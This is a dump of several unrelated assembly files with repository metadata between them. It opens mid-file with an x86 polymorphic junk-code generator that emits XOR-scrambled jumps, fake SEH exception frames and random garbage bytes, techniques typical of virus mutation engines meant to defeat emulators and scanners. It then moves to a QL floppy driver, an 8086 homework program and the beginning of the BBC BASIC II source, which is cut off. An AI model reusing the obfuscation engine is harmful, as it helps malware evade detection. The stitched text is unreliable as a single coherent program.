mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
add esi,2
cont_gari: loop gen_gar_ii
mov eax,esi
mov byte ptr [ebx],al
cmp byte ptr [jmp_flag],1
je cont_gari2
mov byte ptr [edi],O_JMP
inc edi
mov dword ptr [where_jmp],edi
inc edi
cont_gari2: mov dword ptr [where_where],edi
add dword ptr [jmp_bytes],2
mov eax,5
call random_eax
inc eax
mov ecx,eax
cont_gari3: call gen_garbage_i
add dword ptr [jmp_bytes],eax
add edi,eax
add dword ptr [count_jmp],eax
loop cont_gari3
mov byte ptr [edi],O_JMP
mov eax,edi
sub eax,dword ptr [where_start]
add eax,2
neg eax
pushad
add edi,2
mov eax,4
call random_eax
mov ecx,eax
test ecx,ecx
jz cont_gari4
place_gar: mov eax,0FFh
call random_eax
inc dword ptr [count_jmp]
inc dword ptr [jmp_bytes]
stosb
loop place_gar
cont_gari4: add dword ptr [count_jmp],2
mov eax,dword ptr [count_jmp]
mov edx,dword ptr [where_jmp]
mov byte ptr [edx],al
popad
mov byte ptr [edi+1],al
add dword ptr [jmp_bytes],2
mov edx,dword ptr [where_where]
sub edx,dword ptr [where_jmp]
dec edx
mov ecx,edx
mov edx,dword ptr [where_jmp]
inc edx
cmp ecx,0
jle cont_no_xor
cont_xor: mov eax,0FFh
call random_eax
xor byte ptr [edx],al
inc edx
loop cont_xor
cont_no_xor: mov byte ptr [do_push],1
mov edx,dword ptr [jmp_bytes]
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
jmp_bytes dd 0
where_losed db 0
where_where dd 0
where_start dd 0
count_jmp dd 0
where_jmp dd 0
jmp_flag db 0
jmp_flag_b db 0
; -------------------------------------------------------------
; Generates SEH frames/exceptions/etc.
; -------------------------------------------------------------
; EDI = buffor
FS_PREFIX equ 064h
seh_push_fs db 0ffh, 030h, 2h, C_SRC
seh_mov_fs db 089h, 020h, 2h, C_SRC
seh_pop_fs db 08fh, 000h, 2h, C_SRC
_mov_reg_esp db 08bh, 0c4h, 2h, C_DST ; mov reg,ESP
_add_reg_num db 081h, 0c0h, 2h, C_SRC ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
_mov_reg_oreg db 08bh, 000h, 2h, C_BOTH ; mov reg,[REG]
_mov_dreg_num db 0c7h, 080h, 2h, C_SRC ; mov [reg+NUM],0 (add NUM by hand) LEN: A
_add_dreg_num db 081h, 080h, 2h, C_SRC
exception_table:
db 0CCh ; int 3
db 0fah ; cli
db 0fbh ; sti
exception_table_size = $-offset exception_table
gen_seh:
pushad
xor edx,edx
mov ebx,edi
mov byte ptr [edi],0E8h
mov dword ptr [edi+1],0
add edx,5
add edi,5
push edi
lea esi,allowed_regs
mov ecx,x1_tbl_size
push esi
push ecx
lea edi,allowed_regs_temp
rep movsb
pop ecx
pop edi
pushad
mov eax,x1_tbl_size
call random_eax
cmp eax,M0_EAX
jne reg_p
inc eax ; somehow :) EAX usage results with invalid disposition error
reg_p: rep stosb
mov edi,[esp+PUSHA_STRUCT_SIZE]
lea esi,_mov_reg_esp
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_add_reg_num
call garbage_hand
add edi,2
mov dword ptr [edi],0Ch
add dword ptr [esp+PUSHA_STRUCT._EDX],6
add [esp+PUSHA_STRUCT_SIZE],6
add edi,4
lea esi,_mov_reg_oreg
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],eax
add [esp+PUSHA_STRUCT_SIZE],eax
add edi,eax
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],04h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],08h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],12h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_mov_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
add [esp+PUSHA_STRUCT_SIZE],0ah
add edi,2
mov dword ptr [edi],16h
mov dword ptr [edi+4],0h
add edi,0ah-2
lea esi,_add_dreg_num
call garbage_hand
add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
add [esp+PUSHA_STRUCT_SIZE],0ah+1
add edi,2
mov dword ptr [edi],0b8h
add edi,4
mov dword ptr [where_over],edi
add edi,0ah-6
mov byte ptr [edi],0C3h ; ret
inc edi
popad
mov byte ptr [ebx+1],dl
sub byte ptr [ebx+1],5
mov eax,x1_tbl_size
call random_eax
rep stosb
pop edi
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_push_fs
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_mov_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
xor ebx,ebx
mov eax,exception_table_size
call random_eax
mov cl,byte ptr exception_table[eax]
mov byte ptr [edi],cl
inc edx
inc edi
inc ebx
call fill_trash
add edx,eax
add ebx,eax
add edi,eax
push edi
mov edi,dword ptr [where_over]
mov dword ptr [edi],ebx
pop edi
call finalize_seh
add edx,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
where_over dd 0
allowed_regs_temp db x1_tbl_size dup (0)
finalize_seh:
pushad
call gen_regs
xor edx,edx
lea esi,_i_xor_r
call garbage_hand
add edi,eax
add edx,eax
mov byte ptr [edi],FS_PREFIX
inc edi
inc edx
lea esi,seh_pop_fs
call garbage_hand
add edi,eax
add edx,eax
call reset_regs
inc dword ptr [push_number]
lea esi,_i_pop
call garbage_hand
add edx,eax
add edi,eax
mov [esp+PUSHA_STRUCT._EAX],edx
popad
ret
fill_trash: pushad
xor ebx,ebx
mov eax,20
call random_eax
mov ecx,eax
test eax,eax
jz done_fill_trash
fill_trash_x: mov eax,0FFh
call random_eax
stosb
inc ebx
loop fill_trash_x
done_fill_trash:
mov [esp+PUSHA_STRUCT._EAX],ebx
popad
ret
reset_regs:
pushad
lea esi,allowed_regs_temp
mov ecx,x1_tbl_size
lea edi,allowed_regs
rep movsb
popad
ret
gen_regs: pushad
mov eax,x1_tbl_size
call random_eax
lea edi,allowed_regs
mov ecx,x1_tbl_size
rep stosb
popad
ret
set_random: pushad
mov eax,6
call random_eax
cmp eax,5
jne not_set
call gen_bjumps
jmp le_set
not_set: xor eax,eax
le_set: mov [esp+PUSHA_STRUCT._EAX],eax
popad
ret
random_setup proc
@callx GetTickCount
mov Random_Seed,eax
ret
random_setup endp
Random_Seed dd 0
random_eax proc
PUSH ECX
PUSH EDX
PUSH EAX
db 0Fh, 31h ; RDTSC
MOV ECX, Random_Seed
ADD EAX, ECX
ROL ECX, 1
ADD ECX, 666h
MOV Random_Seed, ECX
PUSH 32
POP ECX
CRC_Bit: SHR EAX, 1
JNC Loop_CRC_Bit
XOR EAX, 0EDB88320h
Loop_CRC_Bit: LOOP CRC_Bit
POP ECX
XOR EDX, EDX
DIV ECX
XCHG EDX, EAX
OR EAX, EAX
POP EDX
POP ECX
RETN
random_eax endp
| 19.852349
| 88
| 0.626166
|
88e2ce358a9641997c4663041e5c46a6d7173203
| 1,898
|
asm
|
Assembly
|
dv3/qpc/fd/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
dv3/qpc/fd/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
dv3/qpc/fd/init.asm
|
olifink/smsqe
|
c546d882b26566a46d71820d1539bed9ea8af108
|
[
"BSD-2-Clause"
] | null | null | null |
; DV3 QPC Floppy Disk Initialisation V3.00 1992 Tony Tebby
section dv3
xdef fd_init
xref.l fd_vers
xref.s fd.rev
xref dv3_link
xref gu_achpp
xref gu_rchp
include 'dev8_dv3_keys'
include 'dev8_dv3_fd_keys'
include 'dev8_dv3_mac'
include 'dev8_mac_basic'
include 'dev8_mac_proc'
include 'dev8_mac_assert'
include 'dev8_keys_qlv'
;+++
; DV3 QPC floppy disk initialisation
;
; a3 smashed
;---
fd_init
lea fd_proctab,a1
move.w sb.inipr,a2
jsr (a2) ; link in procedures
lea fd_table,a3
jsr dv3_link ; link in fd driver
moveq #0,d0
rts
fd_table
link_table FLP, fd.rev, fdl_end2, ddf_dtop
buffered
track
sectl 512
mtype ddl.flp
density ddf.sd,ddf.dd,ddf.hd
poll fd_poll
check fd_check
direct fd_direct
rsect fd_rdirect
wsect fd_wdirect
slbfill fd_slbfill
slbupd fd_slbupd
dflush fd_dflush
fflush fd_fflush
mformat fd_mformat
status fd_fstatus
done fd_done
thing fd_tname,fd_thing
; assert fdl_drvs,fdl_actm-1,fdl_rnup-2,fdl_apnd-3
; preset_b fdl_drvs, $ff,0,fdl.rnup,fdl.apnd
assert fdl_drvs,fdl_actm-1,fdl_rnup-2,fdl_apnd-3
preset_b fdl_drvs, $ff,0,fdl.rnup,fdl.apmc
assert fdl_maxd,fdl_offd-1,fdl_maxt-2,fdl_defd-4
preset_b fdl_maxd, 2, 0, 0, fdl.maxt, $ff, 0
preset_b fdl_mxdns,ddf.hd ; no higher than HD
link_end fdl_buff
section exten
proc_thg {FLP Control}
fun_thg {FLP Control}
flp_use proc {USE }
flp_drive proc {DRIV}
flp_sec proc {SEC }
flp_start proc {STRT}
flp_track proc {TRAK}
flp_density proc {DENS}
flp_step proc {STEP}
;flp_drive$ fun {DRV$},260 ; Macro does MOVEQ, i.e. val gets -ve!
flp_drive$ move.l #260,d7
bsr.s fun_thg
dc.l 'DRV$'
fd_proctab
proc_stt
proc_ref FLP_USE
proc_ref FLP_DRIVE
proc_ref FLP_SEC
proc_ref FLP_START
proc_ref FLP_TRACK
proc_ref FLP_DENSITY
proc_ref FLP_STEP
proc_end
proc_stt
proc_ref FLP_DRIVE$
proc_end
end
| 17.90566
| 73
| 0.734984
|
2770b69f08cf9ede49c278648ecd4c4bcf72f2e6
| 1,776
|
asm
|
Assembly
|
20Nov2019/task3.asm
|
candh/8086-programs
|
14993540a53868adff515c22021db828c960e984
|
[
"MIT"
] | null | null | null |
20Nov2019/task3.asm
|
candh/8086-programs
|
14993540a53868adff515c22021db828c960e984
|
[
"MIT"
] | null | null | null |
20Nov2019/task3.asm
|
candh/8086-programs
|
14993540a53868adff515c22021db828c960e984
|
[
"MIT"
] | null | null | null |
.stack 100h
.model small
.data
msg1 db "Enter byte number in hex: $"
addm db "Addition is = $"
subm db "Subtraction is = $"
crlf db 0Dh, 0Ah, "$"
.code
main proc
mov ax, @data
mov ds, ax
mov bl, 0 ; clear bits
mov cx, 2 ; get two numbers
get_two_num:
mov ah, 9
lea dx, msg1
int 21h
mov ah, 1
mov dx, 2 ; for inner loop
char_input_loop:
int 21h
; if char between 30h to 39h then
; it is a digit
cmp al, 30h
jl else
cmp al, 39h
jg else
digit:
and al, 0Fh ; converts to binary
jmp endif
else:
; it is a character (A - F)
; check if char between A and F
cmp al, 'A'
jl exit
cmp al, 'F'
jg exit ; invalid char
; convert to binary
sub al, 'A'
add al, 10
endif:
; left shift bx 4 times
shl bl, 4
or bl, al
dec dx
jnz char_input_loop
; loop char_input_loop
; push num to stack
push bx
; clear bx
mov bx, 0
mov ah, 9
lea dx, crlf
int 21h
loop get_two_num
; new line
mov ah, 9
lea dx, crlf
int 21h
lea dx, addm
int 21h
pop ax
pop bx
; add
mov cx, ax
add cx, bx
push ax
push bx
mov bx, cx
; display that
mov cx, 2 ; setup counter
mov ah, 2 ; output mode
print_loop00:
mov dl, bl
shr dl, 4
cmp dl, 10
jl then00
jmp else00
then00:
add dl, 30h
jmp endif00
else00:
add dl, 37h
endif00:
int 21h
rol bx, 4
loop print_loop00
exit:
mov ax, 4Ch
int 21h
main endp
end main
| 15.716814
| 42
| 0.49268
|
f53058660a604ef9a6fdddef77dfa76d93190d1d
| 229,784
|
asm
|
Assembly
|
asm/BBCBasic/basic2.asm
|
jefftranter/6502
|
d1305bdb2a717e07b17848f4e07a0e4590c2d8a5
|
[
"Apache-2.0"
] | 188
|
2015-01-06T02:31:15.000Z
|
2022-03-13T10:17:17.000Z
|
asm/BBCBasic/basic2.asm
|
tsupplis/jeff-6502
|
2ed8f51d8d942b0063ddac8618767519d3b2682f
|
[
"Apache-2.0"
] | 12
|
2016-11-23T22:45:05.000Z
|
2021-05-29T15:01:41.000Z
|
asm/BBCBasic/basic2.asm
|
tsupplis/jeff-6502
|
2ed8f51d8d942b0063ddac8618767519d3b2682f
|
[
"Apache-2.0"
] | 54
|
2015-05-06T05:31:12.000Z
|
2022-01-04T22:35:46.000Z
|
; Source for 6502 BASIC II
; BBC BASIC Copyright (C) 1982/1983 Acorn Computer and Roger Wilson
; Source reconstruction and commentary Copyright (C) J.G.Harston
; Port to CC65 and 6502 SBC by Jeff Tranter
; Define this to build for my 6502 Single Board Computer.
; Comment out to build original code for Acorn Computer.
PSBC = 1
; Macros to pack instruction mnemonics into two high bytes
.macro MNEML c1,c2,c3
.byte ((c2 & $1F) << 5 + (c3 & $1F)) & $FF
.endmacro
.macro MNEMH c1,c2,c3
.byte ((c1 & $1F) << 2 + (c2 & $1F) / 8) & $FF
.endmacro
; Symbols
FAULT = $FD ; Pointer to error block
ESCFLG = $FF ; Escape pending flag
F_LOAD = $39 ; LOAD/SAVE control block
F_EXEC = F_LOAD+4
F_START = F_LOAD+8
F_END = F_LOAD+12
; MOS Entry Points:
.if .not .defined(PSBC)
OS_CLI = $FFF7
OSBYTE = $FFF4
OSWORD = $FFF1
OSWRCH = $FFEE
OSWRCR = $FFEC
OSNEWL = $FFE7
OSASCI = $FFE3
OSRDCH = $FFE0
OSFILE = $FFDD
OSARGS = $FFDA
OSBGET = $FFD7
OSBPUT = $FFD4
OSGBPB = $FFD1
OSFIND = $FFCE
.endif
BRKV = $0202
WRCHV = $020E
; Dummy variables for non-Atom code
OSECHO = $0000
OSLOAD = $0000
OSSAVE = $0000
OSRDAR = $0000
OSSTAR = $0000
OSSHUT = $0000
; BASIC token values
tknAND = $80
tknDIV = $81
tknEOR = $82
tknMOD = $83
tknOR = $84
tknERROR = $85
tknLINE = $86
tknOFF = $87
tknSTEP = $88
tknSPC = $89
tknTAB = $8A
tknELSE = $8B
tknTHEN = $8C
tknERL = $9E
tknEXP = $A1
tknEXT = $A2
tknFN = $A4
tknLOG = $AB
tknTO = $B8
tknAUTO = $C6
tknPTRc = $CF
tknDATA = $DC
tknDEF = $DD
tknRENUMBER = $CC
tknDIM = $DE
tknEND = $E0
tknFOR = $E3
tknGOSUB = $E4
tknGOTO = $E5
tknIF = $E7
tknLOCAL = $EA
tknMODE = $EB
tknON = $EE
tknPRINT = $F1
tknPROC = $F2
tknREPEAT = $F5
tknSTOP = $FA
tknLOMEM = $92
tknHIMEM = $93
tknREPORT = $F6
.if .defined(PSBC)
.org $C000
.else
.org $8000
.endif
; BBC Code Header
L8000:
cmp #$01 ; Language entry
beq L8023
rts
nop
.byte $60 ; ROM type=Lang+Tube+6502 BASIC
.byte L800E-L8000 ; Offset to copyright string
.byte $01 ; ROM version number, 2=$01, 3=$03
.byte "BASIC" ; ROM title
L800E:
.byte 0
.byte "(C)1982 Acorn" ; ROM copyright string
.byte 10
.byte 13
.byte 0
.word $8000
.word $0000
; Language startup
L8023:
lda #$84 ; Read top of memory
jsr OSBYTE
stx $06 ; Set HIMEM
sty $07
lda #$83
jsr OSBYTE ; Read bottom of memory
sty $18 ; Set PAGE
ldx #$00
stx $1F ; Set LISTO to 0
stx $0402 ; Set @5 to 0000xxxx
stx $0403
dex ; Set WIDTH to $FF
stx $23
ldx #$0A ; Set @% to $0000090A
stx $0400
dex
stx $0401
lda #$01 ; Check RND seed
and $11
ora $0D
ora $0E
ora $0F ; If nonzero, skip past
ora $10
bne L8063
lda #$41 ; Set RND seed to $575241
sta $0D
lda #$52
sta $0E
lda #$57 ; "ARW" - Acorn Roger Wilson?
sta $0F
L8063:
lda #LB402 & 255 ; Set up error handler
sta BRKV
lda #LB402 / 256
sta BRKV+1
cli ; Enable IRQs, jump to immediate loop
jmp L8ADD
; TOKEN TABLE
; ===========
; string, token (b7=1), flag
;
; Token flag:
; Bit 0 - Conditional tokenisation (don't tokenise if followed by an alphabetic character).
; Bit 1 - Go into "middle of Statement" mode.
; Bit 2 - Go into "Start of Statement" mode.
; Bit 3 - FN/PROC keyword - don't tokenise the name of the subroutine.
; Bit 4 - Start tokenising a line number now (after a GOTO, etc...).
; Bit 5 - Don't tokenise rest of line (REM, DATA, etc...)
; Bit 6 - Pseudo variable flag - add &40 to token if at the start of a statement/hex number
; Bit 7 - Unused - used externally for quote toggle.
L8071:
.byte "AND",$80,$00 ; 00000000
.byte "ABS",$94,$00 ; 00000000
.byte "ACS",$95,$00 ; 00000000
.byte "ADVAL",$96,$00 ; 00000000
.byte "ASC",$97,$00 ; 00000000
.byte "ASN",$98,$00 ; 00000000
.byte "ATN",$99,$00 ; 00000000
.byte "AUTO",$C6,$10 ; 00010000
.byte "BGET",$9A,$01 ; 00000001
.byte "BPUT",$D5,$03 ; 00000011
.byte "COLOUR",$FB,$02 ; 00000010
.byte "CALL",$D6,$02 ; 00000010
.byte "CHAIN",$D7,$02 ; 00000010
.byte "CHR$",$BD,$00 ; 00000000
.byte "CLEAR",$D8,$01 ; 00000001
.byte "CLOSE",$D9,$03 ; 00000011
.byte "CLG",$DA,$01 ; 00000001
.byte "CLS",$DB,$01 ; 00000001
.byte "COS",$9B,$00 ; 00000000
.byte "COUNT",$9C,$01 ; 00000001
.byte "DATA",$DC,$20 ; 00100000
.byte "DEG",$9D,$00 ; 00000000
.byte "DEF",$DD,$00 ; 00000000
.byte "DELETE",$C7,$10 ; 00010000
.byte "DIV",$81,$00 ; 00000000
.byte "DIM",$DE,$02 ; 00000010
.byte "DRAW",$DF,$02 ; 00000010
.byte "ENDPROC",$E1,$01 ; 00000001
.byte "END",$E0,$01 ; 00000001
.byte "ENVELOPE",$E2,$02 ; 00000010
.byte "ELSE",$8B,$14 ; 00010100
.byte "EVAL",$A0,$00 ; 00000000
.byte "ERL",$9E,$01 ; 00000001
.byte "ERROR",$85,$04 ; 00000100
.byte "EOF",$C5,$01 ; 00000001
.byte "EOR",$82,$00 ; 00000000
.byte "ERR",$9F,$01 ; 00000001
.byte "EXP",$A1,$00 ; 00000000
.byte "EXT",$A2,$01 ; 00000001
.byte "FOR",$E3,$02 ; 00000010
.byte "FALSE",$A3,$01 ; 00000001
.byte "FN",$A4,$08 ; 00001000
.byte "GOTO",$E5,$12 ; 00010010
.byte "GET$",$BE,$00 ; 00000000
.byte "GET",$A5,$00 ; 00000000
.byte "GOSUB",$E4,$12 ; 00010010
.byte "GCOL",$E6,$02 ; 00000010
.byte "HIMEM",$93,$43 ; 00100011
.byte "INPUT",$E8,$02 ; 00000010
.byte "IF",$E7,$02 ; 00000010
.byte "INKEY$",$BF,$00 ; 00000000
.byte "INKEY",$A6,$00 ; 00000000
.byte "INT",$A8,$00 ; 00000000
.byte "INSTR(",$A7,$00 ; 00000000
.byte "LIST",$C9,$10 ; 00010000
.byte "LINE",$86,$00 ; 00000000
.byte "LOAD",$C8,$02 ; 00000010
.byte "LOMEM",$92,$43 ; 01000011
.byte "LOCAL",$EA,$02 ; 00000010
.byte "LEFT$(",$C0,$00 ; 00000000
.byte "LEN",$A9,$00 ; 00000000
.byte "LET",$E9,$04 ; 00000100
.byte "LOG",$AB,$00 ; 00000000
.byte "LN",$AA,$00 ; 00000000
.byte "MID$(",$C1,$00 ; 00000000
.byte "MODE",$EB,$02 ; 00000010
.byte "MOD",$83,$00 ; 00000000
.byte "MOVE",$EC,$02 ; 00000010
.byte "NEXT",$ED,$02 ; 00000010
.byte "NEW",$CA,$01 ; 00000001
.byte "NOT",$AC,$00 ; 00000000
.byte "OLD",$CB,$01 ; 00000001
.byte "ON",$EE,$02 ; 00000010
.byte "OFF",$87,$00 ; 00000000
.byte "OR",$84,$00 ; 00000000
.byte "OPENIN",$8E,$00 ; 00000000
.byte "OPENOUT",$AE,$00 ; 00000000
.byte "OPENUP",$AD,$00 ; 00000000
.byte "OSCLI",$FF,$02 ; 00000010
.byte "PRINT",$F1,$02 ; 00000010
.byte "PAGE",$90,$43 ; 01000011
.byte "PTR",$8F,$43 ; 01000011
.byte "PI",$AF,$01 ; 00000001
.byte "PLOT",$F0,$02 ; 00000010
.byte "POINT(",$B0,$00 ; 00000000
.byte "PROC",$F2,$0A ; 00001010
.byte "POS",$B1,$01 ; 00000001
.byte "RETURN",$F8,$01 ; 00000001
.byte "REPEAT",$F5,$00 ; 00000000
.byte "REPORT",$F6,$01 ; 00000001
.byte "READ",$F3,$02 ; 00000010
.byte "REM",$F4,$20 ; 00100000
.byte "RUN",$F9,$01 ; 00000001
.byte "RAD",$B2,$00 ; 00000000
.byte "RESTORE",$F7,$12 ; 00010010
.byte "RIGHT$(",$C2,$00 ; 00000000
.byte "RND",$B3,$01 ; 00000001
.byte "RENUMBER",$CC,$10 ; 00010000
.byte "STEP",$88,$00 ; 00000000
.byte "SAVE",$CD,$02 ; 00000010
.byte "SGN",$B4,$00 ; 00000000
.byte "SIN",$B5,$00 ; 00000000
.byte "SQR",$B6,$00 ; 00000000
.byte "SPC",$89,$00 ; 00000000
.byte "STR$",$C3,$00 ; 00000000
.byte "STRING$(",$C4,$00 ; 00000000
.byte "SOUND",$D4,$02 ; 00000010
.byte "STOP",$FA,$01 ; 00000001
.byte "TAN",$B7,$00 ; 00000000
.byte "THEN",$8C,$14 ; 00010100
.byte "TO",$B8,$00 ; 00000000
.byte "TAB(",$8A,$00 ; 00000000
.byte "TRACE",$FC,$12 ; 00010010
.byte "TIME",$91,$43 ; 01000011
.byte "TRUE",$B9,$01 ; 00000001
.byte "UNTIL",$FD,$02 ; 00000010
.byte "USR",$BA,$00 ; 00000000
.byte "VDU",$EF,$02 ; 00000010
.byte "VAL",$BB,$00 ; 00000000
.byte "VPOS",$BC,$01 ; 00000001
.byte "WIDTH",$FE,$02 ; 00000010
.byte "PAGE",$D0,$00 ; 00000000
.byte "PTR",$CF,$00 ; 00000000
.byte "TIME",$D1,$00 ; 00000000
.byte "LOMEM",$D2,$00 ; 00000000
.byte "HIMEM",$D3,$00 ; 00000000
; FUNCTION/COMMAND DISPATCH TABLE, ADDRESS LOW BYTES
; ==================================================
L836D:
.byte LBF78 & $FF ; &8E - OPENIN
.byte LBF47 & $FF ; &8F - PTR
.byte LAEC0 & 255 ; &90 - PAGE
.byte LAEB4 & 255 ; &91 - TIME
.byte LAEFC & 255 ; &92 - LOMEM
.byte LAF03 & 255 ; &93 - HIMEM
.byte LAD6A & $FF ; &94 - ABS
.byte LA8D4 & $FF ; &95 - ACS
.byte LAB33 & $FF ; &96 - ADVAL
.byte LAC9E & $FF ; &97 - ASC
.byte LA8DA & $FF ; &98 - ASN
.byte LA907 & $FF ; &99 - ATN
.byte LBF6F & $FF ; &9A - BGET
.byte LA98D & $FF ; &9B - COS
.byte LAEF7 & $FF ; &9C - COUNT
.byte LABC2 & $FF ; &9D - DEG
.byte LAF9F & $FF ; &9E - ERL
.byte LAFA6 & $FF ; &9F - ERR
.byte LABE9 & $FF ; &A0 - EVAL
.byte LAA91 & $FF ; &A1 - EXP
.byte LBF46 & $FF ; &A2 - EXT
.byte LAECA & $FF ; &A3 - FALSE
.byte LB195 & $FF ; &A4 - FN
.byte LAFB9 & $FF ; &A5 - GET
.byte LACAD & $FF ; &A6 - INKEY
.byte LACE2 & $FF ; &A7 - INSTR(
.byte LAC78 & $FF ; &A8 - INT
.byte LAED1 & $FF ; &A9 - LEN
.byte LA7FE & $FF ; &AA - LN
.byte LABA8 & $FF ; &AB - LOG
.byte LACD1 & $FF ; &AC - NOT
.byte LBF80 & $FF ; &AD - OPENUP
.byte LBF7C & $FF ; &AE - OPENOUT
.byte LABCB & $FF ; &AF - PI
.byte LAB41 & $FF ; &B0 - POINT(
.byte LAB6D & $FF ; &B1 - POS
.byte LABB1 & $FF ; &B2 - RAD
.byte LAF49 & $FF ; &B3 - RND
.byte LAB88 & $FF ; &B4 - SGN
.byte LA998 & $FF ; &B5 - SIN
.byte LA7B4 & $FF ; &B6 - SQR
.byte LA6BE & $FF ; &B7 - TAN
.byte LAEDC & $FF ; &B8 - TO
.byte LACC4 & $FF ; &B9 - TRUE
.byte LABD2 & $FF ; &BA - USR
.byte LAC2F & $FF ; &BB - VAL
.byte LAB76 & $FF ; &BC - VPOS
.byte LB3BD & $FF ; &BD - CHR$
.byte LAFBF & $FF ; &BE - GET$
.byte LB026 & $FF ; &BF - INKEY$
.byte LAFCC & $FF ; &C0 - LEFT$(
.byte LB039 & $FF ; &C1 - MID$(
.byte LAFEE & $FF ; &C2 - RIGHT$(
.byte LB094 & $FF ; &C3 - STR$(
.byte LB0C2 & $FF ; &C4 - STRING$(
.byte LACB8 & $FF ; &C5 - EOF
.byte L90AC & $FF ; &C6 - AUTO
.byte L8F31 & $FF ; &C7 - DELETE
.byte LBF24 & $FF ; &C8 - LOAD
.byte LB59C & $FF ; &C9 - LIST
.byte L8ADA & $FF ; &CA - NEW
.byte L8AB6 & $FF ; &CB - OLD
.byte L8FA3 & $FF ; &CC - RENUMBER
.byte LBEF3 & $FF ; &CD - SAVE
.byte L982A & $FF ; &CE - unused
.byte LBF30 & $FF ; &CF - PTR
.byte L9283 & $FF ; &D0 - PAGE
.byte L92C9 & $FF ; &D1 - TIME
.byte L926F & $FF ; &D2 - LOMEM
.byte L925D & $FF ; &D3 - HIMEM
.byte LB44C & $FF ; &D4 - SOUND
.byte LBF58 & $FF ; &D5 - BPUT
.byte L8ED2 & $FF ; &D6 - CALL
.byte LBF2A & $FF ; &D7 - CHAIN
.byte L928D & $FF ; &D8 - CLEAR
.byte LBF99 & $FF ; &D9 - CLOSE
.byte L8EBD & $FF ; &DA - CLG
.byte L8EC4 & $FF ; &DB - CLS
.byte L8B7D & $FF ; &DC - DATA
.byte L8B7D & $FF ; &DD - DEF
.byte L912F & $FF ; &DE - DIM
.byte L93E8 & $FF ; &DF - DRAW
.byte L8AC8 & $FF ; &E0 - END
.byte L9356 & $FF ; &E1 - ENDPROC
.byte LB472 & $FF ; &E2 - ENVELOPE
.byte LB7C4 & $FF ; &E3 - FOR
.byte LB888 & $FF ; &E4 - GOSUB
.byte LB8CC & $FF ; &E5 - GOTO
.byte L937A & $FF ; &E6 - GCOL
.byte L98C2 & $FF ; &E7 - IF
.byte LBA44 & $FF ; &E8 - INPUT
.byte L8BE4 & $FF ; &E9 - LET
.byte L9323 & $FF ; &EA - LOCAL
.byte L939A & $FF ; &EB - MODE
.byte L93E4 & $FF ; &EC - MOVE
.byte LB695 & $FF ; &ED - NEXT
.byte LB915 & $FF ; &EE - ON
.byte L942F & $FF ; &EF - VDU
.byte L93F1 & $FF ; &F0 - PLOT
.byte L8D9A & $FF ; &F1 - PRINT
.byte L9304 & $FF ; &F2 - PROC
.byte LBB1F & $FF ; &F3 - READ
.byte L8B7D & $FF ; &F4 - REM
.byte LBBE4 & $FF ; &F5 - REPEAT
.byte LBFE4 & $FF ; &F6 - REPORT
.byte LBAE6 & $FF ; &F7 - RESTORE
.byte LB8B6 & $FF ; &F8 - RETURN
.byte LBD11 & $FF ; &F9 - RUN
.byte L8AD0 & $FF ; &FA - STOP
.byte L938E & $FF ; &FB - COLOUR
.byte L9295 & $FF ; &FC - TRACE
.byte LBBB1 & $FF ; &FD - UNTIL
.byte LB4A0 & $FF ; &FE - WIDTH
.byte LBEC2 & $FF ; &FF - OSCLI
; FUNCTION/COMMAND DISPATCH TABLE, ADDRESS HIGH BYTES
; ===================================================
L83DF: ; &83E6
.byte LBF78 / 256 ; &8E - OPENIN
.byte LBF47 / 256 ; &8F - PTR
.byte LAEC0 / 256 ; &90 - PAGE
.byte LAEB4 / 256 ; &91 - TIME
.byte LAEFC / 256 ; &92 - LOMEM
.byte LAF03 / 256 ; &93 - HIMEM
.byte LAD6A / 256 ; &94 - ABS
.byte LA8D4 / 256 ; &95 - ACS
.byte LAB33 / 256 ; &96 - ADVAL
.byte LAC9E / 256 ; &97 - ASC
.byte LA8DA / 256 ; &98 - ASN
.byte LA907 / 256 ; &99 - ATN
.byte LBF6F / 256 ; &9A - BGET
.byte LA98D / 256 ; &9B - COS
.byte LAEF7 / 256 ; &9C - COUNT
.byte LABC2 / 256 ; &9D - DEG
.byte LAF9F / 256 ; &9E - ERL
.byte LAFA6 / 256 ; &9F - ERR
.byte LABE9 / 256 ; &A0 - EVAL
.byte LAA91 / 256 ; &A1 - EXP
.byte LBF46 / 256 ; &A2 - EXT
.byte LAECA / 256 ; &A3 - FALSE
.byte LB195 / 256 ; &A4 - FN
.byte LAFB9 / 256 ; &A5 - GET
.byte LACAD / 256 ; &A6 - INKEY
.byte LACE2 / 256 ; &A7 - INSTR(
.byte LAC78 / 256 ; &A8 - INT
.byte LAED1 / 256 ; &A9 - LEN
.byte LA7FE / 256 ; &AA - LN
.byte LABA8 / 256 ; &AB - LOG
.byte LACD1 / 256 ; &AC - NOT
.byte LBF80 / 256 ; &AD - OPENUP
.byte LBF7C / 256 ; &AE - OPENOUT
